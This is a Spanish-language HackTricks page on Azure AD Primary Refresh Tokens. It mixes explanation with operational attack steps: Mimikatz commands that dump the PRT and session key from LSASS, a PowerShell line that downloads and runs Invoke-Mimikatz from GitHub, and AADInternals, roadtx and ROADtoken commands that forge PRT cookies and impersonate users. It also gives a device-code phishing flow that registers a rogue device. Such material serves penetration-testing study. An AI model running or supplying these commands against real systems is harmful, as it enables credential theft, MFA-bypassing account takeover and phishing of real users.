Az - Primary Refresh Token (PRT)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

¿Qué es un Primary Refresh Token (PRT)?

Un Primary Refresh Token (PRT) es un token de actualización de larga duración utilizado en la autenticación de Azure AD (Entra ID), análogo a un TGT de Kerberos. Se emite al iniciar sesión un usuario en un dispositivo unido a Azure AD y se puede usar para solicitar tokens de acceso para varias aplicaciones sin volver a solicitar credenciales. Cada PRT viene acompañado de una clave de sesión (también llamada clave de Prueba de Posesión) – una clave simétrica utilizada para firmar solicitudes y demostrar que el cliente tiene el PRT. El PRT en sí es un blob opaco y cifrado (no legible por el cliente), mientras que la clave de sesión se utiliza para firmar un JWT que contiene el PRT al solicitar tokens. En otras palabras, la posesión del PRT por sí sola es insuficiente; un atacante necesita la clave de sesión para probar la legitimidad, similar a necesitar tanto un TGT de Kerberos como su clave de sesión para la autenticación.

En Windows, el PRT y la clave de sesión se almacenan en caché en el proceso LSASS a través del plugin CloudAP. Si un dispositivo tiene un TPM (Módulo de Plataforma de Confianza), Azure AD vincula claves al TPM para mayor seguridad. Esto significa que en dispositivos equipados con TPM, la clave de sesión se almacena o utiliza dentro del TPM de tal manera que no se puede leer directamente de la memoria en circunstancias normales. Si no hay un TPM disponible (por ejemplo, muchas VMs o sistemas más antiguos), las claves se mantienen en software y se protegen con cifrado DPAPI. En ambos casos, un atacante con privilegios administrativos o ejecución de código en la máquina puede intentar volcar el PRT y la clave de sesión de la memoria como parte de la post-explotación, y luego usarlos para suplantar al usuario en la nube. A diferencia de los tokens de actualización típicos (que suelen ser específicos de la aplicación), un PRT es más amplio, permitiendo que tu dispositivo solicite tokens para casi cualquier recurso o servicio integrado en Entra ID.

¿Cómo funciona un PRT?

Aquí hay un desglose simplificado de cómo opera un PRT:

  1. Registro del Dispositivo:

  • Cuando tu dispositivo (como un portátil con Windows o un teléfono móvil) se une o registra con Entra ID, se autentica utilizando tus credenciales (nombre de usuario/contraseña/MFA).

  • Tras una autenticación exitosa, Entra ID emite un PRT vinculado específicamente a tu dispositivo.

  1. Almacenamiento del Token:
  • El PRT se almacena de forma segura en tu dispositivo, a menudo protegido por características de hardware como el Módulo de Plataforma de Confianza (TPM), asegurando que sea difícil para partes no autorizadas extraerlo o mal utilizarlo.
  1. Inicio de Sesión Único (SSO):

  • Cada vez que accedes a una aplicación protegida por Entra ID (por ejemplo, aplicaciones de Microsoft 365, SharePoint, Teams), tu dispositivo utiliza silenciosamente el PRT almacenado para solicitar y obtener un token de acceso específico para esa aplicación.

  • No necesitas ingresar tus credenciales repetidamente porque el PRT maneja la autenticación de manera transparente.

  1. Renovación y Seguridad:

  • Los PRT tienen una larga duración (típicamente alrededor de 14 días), pero se renuevan continuamente mientras tu dispositivo esté en uso activo.

  • Si tu dispositivo se ve comprometido o se pierde, los administradores pueden revocar tu PRT de forma remota, bloqueando inmediatamente el acceso no autorizado.

¿Por qué son poderosos los PRT?

  • Acceso Universal: A diferencia de los tokens típicos limitados a una aplicación o recurso, un PRT puede facilitar el acceso a todos los servicios integrados en Entra ID.

  • Seguridad Mejorada: Con protecciones de hardware integradas (como TPM), los PRT aseguran un almacenamiento y uso seguro de tokens.

  • Experiencia del Usuario: Los PRT mejoran significativamente la experiencia del usuario al reducir las solicitudes de autenticación frecuentes y permitir un verdadero SSO sin interrupciones.

¿Cómo saber si un PRT está presente?

  • Verifica si el PRT está presente:
# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES
  • Verificar si está protegido por TPM:
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

Pasar el PRT

Según esta publicación en dispositivos Windows sin enlace TPM, el PRT y su clave de sesión residen en LSASS (complemento CloudAP). Con privilegios de administrador local/SYSTEM en ese dispositivo, el blob del PRT y la clave de sesión cifrada con DPAPI pueden ser leídos desde LSASS, la clave de sesión descifrada a través de DPAPI, y la clave de firma derivada para crear una cookie PRT válida (x‑ms‑RefreshTokenCredential). Necesitas tanto el PRT como su clave de sesión; la cadena PRT por sí sola no es suficiente.

Mimikatz

  1. El PRT (Token de Actualización Primario) se extrae de LSASS (Servicio de Subsistema de Autoridad de Seguridad Local) y se almacena para su uso posterior.
  2. La clave de sesión se extrae a continuación. Dado que esta clave se emite inicialmente y luego se vuelve a cifrar por el dispositivo local, requiere descifrado utilizando una clave maestra de DPAPI. Información detallada sobre DPAPI (Interfaz de Programación de Aplicaciones de Protección de Datos) se puede encontrar en estos recursos: HackTricks y para entender su aplicación, consulta Pass-the-cookie attack.
  3. Después del descifrado de la clave de sesión, se obtienen la clave derivada y el contexto para el PRT. Estos son cruciales para la creación de la cookie PRT. Específicamente, la clave derivada se utiliza para firmar el JWT (JSON Web Token) que constituye la cookie. Una explicación completa de este proceso ha sido proporcionada por Dirk-jan, accesible aquí.
privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

El campo PRT contiene el token de actualización cifrado (típicamente una cadena base64), y KeyValue en el ProofOfPossessionKey es la clave de sesión cifrada con DPAPI (también base64).

Luego, desde la salida de sekurlsa::cloudap, copia el blob base64 de KeyValue dentro del campo ProofOfPossessionKey (esta es la clave de sesión cifrada con DPAPI). Esta clave cifrada no se puede usar tal cual; debe ser descifrada utilizando las credenciales DPAPI del sistema.

Debido a que el cifrado DPAPI para secretos del sistema requiere el contexto del sistema de la máquina, eleva tu token a SYSTEM y usa el módulo DPAPI de Mimikatz para descifrar:

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

El token::elevate impersonará a SYSTEM y el comando dpapi::cloudapkd con /unprotect utilizará la clave maestra de DPAPI para desencriptar el blob KeyValue proporcionado. Esto produce la clave de sesión en texto claro y también la Clave Derivada y el Contexto asociados utilizados para la firma:

  • Clave clara – la clave de sesión de 32 bytes en texto plano (representada como una cadena hexadecimal).
  • Clave Derivada – una clave de 32 bytes derivada de la clave de sesión y un valor de contexto (más sobre esto a continuación).
  • Contexto – un contexto aleatorio de 24 bytes que se utilizó al derivar la clave de firma para la cookie PRT.

Note

Si esto no funciona para ti para impersonar al usuario, revisa la siguiente sección usando AADInternals.

Luego, también puedes usar mimikatz para generar una cookie PRT válida:

# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatz generará un JWT firmado (la cookie PRT) después de la línea “Signature with key”, que contiene el PRT y está firmado utilizando la clave derivada. Este JWT puede ser copiado y luego utilizado en una sesión web. Por ejemplo, un atacante puede abrir un navegador, ir a login.microsoftonline.com, y establecer una cookie llamada x-ms-RefreshTokenCredential con el valor de este JWT. Cuando el navegador se actualiza o navega, Azure AD tratará la sesión como autenticada (la cookie PRT se presenta como si se hubiera producido SSO), y emitirá un código de autorización o un token de acceso para el recurso especificado. En la práctica, uno navegaría a un recurso como Office 365 o el portal de Azure; la presencia de una cookie PRT válida significa que Azure AD otorgará acceso sin un inicio de sesión adicional (eludiendo MFA, ya que el PRT ya está autenticado).

También podrías usar roadtx y roadrecon con el PRT de la cookie PRT para suplantar al usuario (TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT).

Mimikatz + AADInternals

El módulo de PowerShell AADInternals también se puede usar con el PRT y la clave de sesión obtenidos previamente para generar un token PRT válido. Esto es útil para automatizar el proceso de obtención de un nuevo token PRT con nonce, que se puede usar para obtener tokens de acceso para Azure AD Graph API u otros recursos:

# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

Esto obtiene una nueva cookie PRT (con un nonce) y luego la utiliza para obtener un token de acceso para la Azure AD Graph API (demostrando acceso en la nube en nombre del usuario). AADInternals abstrae gran parte de la criptografía y utiliza componentes de Windows o su propia lógica en segundo plano.

Mimikatz + roadtx

  • Renueva el PRT primero, lo que lo guardará en roadtx.prt:
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Ahora podemos solicitar tokens utilizando el navegador interactivo con roadtx browserprtauth. Si usamos el comando roadtx describe, vemos que el token de acceso incluye un reclamo de MFA porque el PRT que utilicé en este caso también tenía un reclamo de MFA.
roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

Teniendo el contexto y la clave derivada volcada por mimikatz, es posible usar roadrecon para generar una nueva cookie firmada con:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Abusando de PRTs protegidos

A pesar de las protecciones mencionadas, un atacante que ya ha comprometido un dispositivo (como usuario local o incluso SYSTEM) aún puede abusar del PRT para obtener nuevos tokens de acceso aprovechando las propias APIs y componentes de seguridad del broker de tokens de Windows. En lugar de extraer el PRT o la clave, el atacante esencialmente “pide” a Windows que use el PRT en su nombre. En las secciones a continuación, describimos técnicas actualmente válidas para abusar de los PRTs y sus claves de sesión en dispositivos Windows actualizados donde las protecciones de TPM están en efecto. Todas estas técnicas asumen acceso post-explotación en la máquina objetivo y se centran en abusar de flujos de autenticación integrados (no se necesitan vulnerabilidades sin parches).

Arquitectura del Broker de Tokens de Windows y Flujo de SSO

Windows moderno maneja la autenticación en la nube a través de una pila de broker de tokens integrada, que incluye componentes tanto en modo usuario como en LSASS (Local Security Authority). Las piezas clave de esta arquitectura incluyen:

  • Plugin CloudAP de LSASS: Cuando un dispositivo está unido a Azure AD, LSASS carga paquetes de autenticación en la nube (por ejemplo, CloudAP.dll, aadcloudap.dll, MicrosoftAccountCloudAP.dll) que gestionan los PRTs y las solicitudes de tokens. LSASS (que se ejecuta como SYSTEM) orquesta el almacenamiento, renovación y uso del PRT, y se comunica con el TPM para realizar operaciones criptográficas (como firmar un desafío de PRT con la clave de sesión).

  • Web Account Manager (WAM): El Administrador de Cuentas Web de Windows es un marco en modo usuario (accesible a través de APIs COM/WinRT) que permite a aplicaciones o navegadores solicitar tokens para cuentas en la nube sin solicitar credenciales. WAM actúa como un intermediario entre las aplicaciones de usuario y el PRT respaldado por LSASS/TPM. Por ejemplo, la biblioteca MSAL de Microsoft y ciertos componentes del sistema operativo utilizan WAM para adquirir silenciosamente tokens utilizando el PRT del usuario conectado.

  • BrowserCore.exe e interfaces COM del Broker de Tokens: Para SSO en navegadores, Windows incluye un componente llamado BrowserCore.exe (ubicado en Windows Security\BrowserCore). Este es un host de mensajería nativa utilizado por navegadores (Edge, Chrome a través de una extensión, etc.) para obtener un token SSO derivado del PRT para el inicio de sesión en Azure AD. En el fondo, BrowserCore aprovecha un objeto COM proporcionado por MicrosoftAccountTokenProvider.dll para recuperar una cookie/token basado en PRT. En esencia, esta interfaz COM es una API de “broker de tokens” de primera parte que cualquier proceso que se ejecute como el usuario puede invocar para obtener un token SSO (siempre que el usuario tenga un PRT válido en LSASS).

Cuando un usuario unido a Azure AD intenta acceder a un recurso (por ejemplo, el Portal de Azure), el flujo es típicamente: una aplicación llama a la interfaz COM de WAM o BrowserCore, que a su vez se comunica con LSASS. LSASS utiliza el PRT y la clave de sesión (asegurada por TPM) para producir un token SSO – a menudo llamado cookie PRT – que luego se devuelve a la aplicación o navegador. La cookie PRT es un JWT especial que contiene el PRT encriptado y un nonce, firmado con una clave derivada de la clave de sesión del PRT. Esta cookie se envía a Azure AD (en un encabezado x-ms-RefreshTokenCredential) para probar que el dispositivo y el usuario tienen un PRT válido, permitiendo que Azure AD emita tokens de acceso y actualización estándar de OAuth para varias aplicaciones. Notablemente, cualquier reclamo de Autenticación Multifactor (MFA) presente en el PRT se trasladará a los tokens obtenidos a través de este proceso SSO, lo que significa que los tokens derivados del PRT pueden satisfacer recursos protegidos por MFA.

Robo de Tokens a Nivel de Usuario (No Admin)

Cuando un atacante tiene ejecución de código a nivel de usuario, la protección de TPM del PRT no impide que el atacante obtenga tokens. El atacante aprovecha las APIs integradas del Broker de Tokens de Windows:

BrowserCore (MicrosoftAccountTokenProvider COM)

BrowserCore expone una clase COM (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) para obtener cookies PRT. Esta API COM es invocada legítimamente por navegadores (extensiones de Chrome/Edge) para SSO en Azure AD.

RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Devuelve un token de actualización de Azure AD o una cookie PRT)

ROADtoken ejecutará BrowserCore.exe desde el directorio correcto y lo usará para obtener una cookie PRT. Esta cookie se puede usar con ROADtools para autenticar y obtener un token de actualización persistente.

Para generar una cookie PRT válida, lo primero que necesitas es un nonce.
Puedes obtener esto con:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

O usando roadrecon:

roadrecon auth prt-init

Luego puedes usar roadtoken para obtener un nuevo PRT (ejecuta la herramienta desde un proceso del usuario a atacar):

.\ROADtoken.exe <nonce>

Como una línea:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Luego puedes usar la cookie generada para generar tokens para iniciar sesión usando Azure AD Graph o Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Web Account Manager (WAM) APIs

Los atacantes utilizan bibliotecas de autenticación legítimas de Microsoft (MSAL, WAM APIs, WebAuthenticationCoreManager) desde procesos a nivel de usuario para recuperar silenciosamente tokens aprovechando el PRT protegido por TPM.

execute-assembly aadprt.exe

(Recupera la cookie PRT a través de interfaces COM)

execute-assembly listwamaccounts.exe

(Lista las cuentas de Azure AD que han iniciado sesión a través de WAM; identifica los objetivos del token)

  • Ejemplo Genérico (PowerShell con MSAL):
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(Silenciosamente obtiene un token de acceso aprovechando PRT)

Abuso de Token a Nivel de Administrador / SYSTEM

Si el atacante se eleva a Administrador o SYSTEM, puede suplantar directamente a cualquier usuario conectado a Azure AD y utilizar las mismas API de intermediario de token COM/WAM. Los PRT protegidos por TPM no impiden esta emisión legítima de tokens.

Suplantación de Usuario y Recuperación de Token

El Admin/SYSTEM podría suplantar sesiones en ejecución de otros usuarios para invocar BrowserCore o WAM para la generación de tokens.

Para esto, solo se debe suplantar el proceso del usuario (por ejemplo, explorer.exe) e invocar las API del intermediario de tokens utilizando cualquier técnica comentada en la sección anterior.

Interacción Directa con LSASS y el Intermediario de Tokens (Avanzado)

Un administrador aún puede trabajar con LSASS para abusar del PRT: por ejemplo, un administrador podría inyectar código en LSASS o llamar a funciones internas de CloudAP para solicitar a LSASS que produzca un token. La investigación de Dirk-jan señaló que un administrador puede “interactuar con las claves PRT en LSASS utilizando APIs criptográficas”. En la práctica, esto podría significar usar las propias funciones de LSASS (a través de una técnica como el hooking de API o RPC, si está disponible) para generar una cookie PRT. Otro enfoque es explotar cualquier ventana donde la clave de sesión pueda aparecer en memoria – por ejemplo, en el momento de la renovación del PRT o el registro del dispositivo cuando está sin cifrar para su uso. Tales ataques son considerablemente más complejos y situacionales. Una táctica más directa para el administrador es abusar de los manejadores de tokens o cachés existentes: LSASS almacena en caché los tokens de actualización emitidos recientemente para aplicaciones en memoria (cifrados con DPAPI). Un atacante SYSTEM decidido podría intentar extraer estos tokens protegidos por DPAPI (usando la clave maestra del usuario, que un administrador puede obtener) para robar directamente tokens de actualización para aplicaciones específicas. Sin embargo, el método más fácil y genérico sigue siendo la suplantación y el uso de las interfaces de intermediario de tokens documentadas, ya que estas garantizan que Azure AD emitirá tokens frescos (con todas las reclamaciones adecuadas) en lugar de intentar descifrar la encriptación.

Phishing de PRTs

Abusar del flujo de Código de Dispositivo OAuth utilizando el ID de cliente del Intermediario de Autenticación de Microsoft (29d9ed98-a469-4536-ade2-f981bc1d605e) y el recurso del Servicio de Registro de Dispositivos (DRS) para obtener un token de actualización que puede ser mejorado a un Token de Actualización Primario (PRT) después de registrar un dispositivo malicioso.

Por qué esto funciona

  • PRT está vinculado al dispositivo y habilita SSO para (casi) cualquier aplicación protegida por Entra.
  • La combinación de Intermediario + DRS permite que un token de actualización phishing sea intercambiado por un PRT una vez que se registra un dispositivo.
  • MFA no se omite: el usuario realiza MFA durante el phishing; las reclamaciones de MFA se propagan al PRT resultante, permitiendo al atacante acceder a aplicaciones sin más solicitudes.

Requisitos previos:

  • Autenticación de usuario a través de Código de Dispositivo utilizando el ID de cliente del Intermediario (29d9ed98-a469-4536-ade2-f981bc1d605e) y alcances/recurso de DRS (por ejemplo, 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default o https://enrollment.manage.microsoft.com/).
  • El usuario puede registrar dispositivos en Entra ID (predeterminado: permitido, pero puede ser restringido o limitado por cuotas).
  • Sin políticas de CA bloqueadoras que deshabiliten el Código de Dispositivo o requieran dispositivos compatibles/híbridos para aplicaciones objetivo (esos no detendrán la emisión de PRT, pero sí bloquearán su uso para acceder a aplicaciones protegidas).
  • Host controlado por el atacante para ejecutar el flujo y mantener los tokens/claves del dispositivo.

Flujo de Ataque:

  1. Iniciar autenticación de Código de Dispositivo con client_id = Intermediario y alcance/recurso de DRS; mostrar el código de usuario a la víctima.
curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"

  1. La víctima inicia sesión en el sitio de Microsoft (interfaz legítima) y completa MFA → el atacante recibe un token de actualización con alcance DRS para el cliente Broker.

  2. Registrar un dispositivo malicioso en el inquilino usando ese token de actualización (el objeto del dispositivo se crea y se vincula a la víctima).

  3. Actualizar a un PRT intercambiando el token de actualización + identidad/claves del dispositivo → PRT vinculado al dispositivo del atacante.

  4. (Persistencia opcional): si MFA fue reciente, registrar una clave de Windows Hello for Business para mantener acceso a largo plazo sin contraseña.

  5. Abuso: canjear el PRT (o crear una cookie PRT) para obtener tokens de acceso para Exchange/Graph/SharePoint/Teams/aplicaciones personalizadas como el usuario.

Herramientas Públicas y Pruebas de Concepto

  • ROADtools/ROADtx: Automatiza el flujo de OAuth, el registro de dispositivos y las actualizaciones de tokens.
  • DeviceCode2WinHello: Script de un solo comando que automatiza el phishing de código de dispositivo a claves PRT+WHfB.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks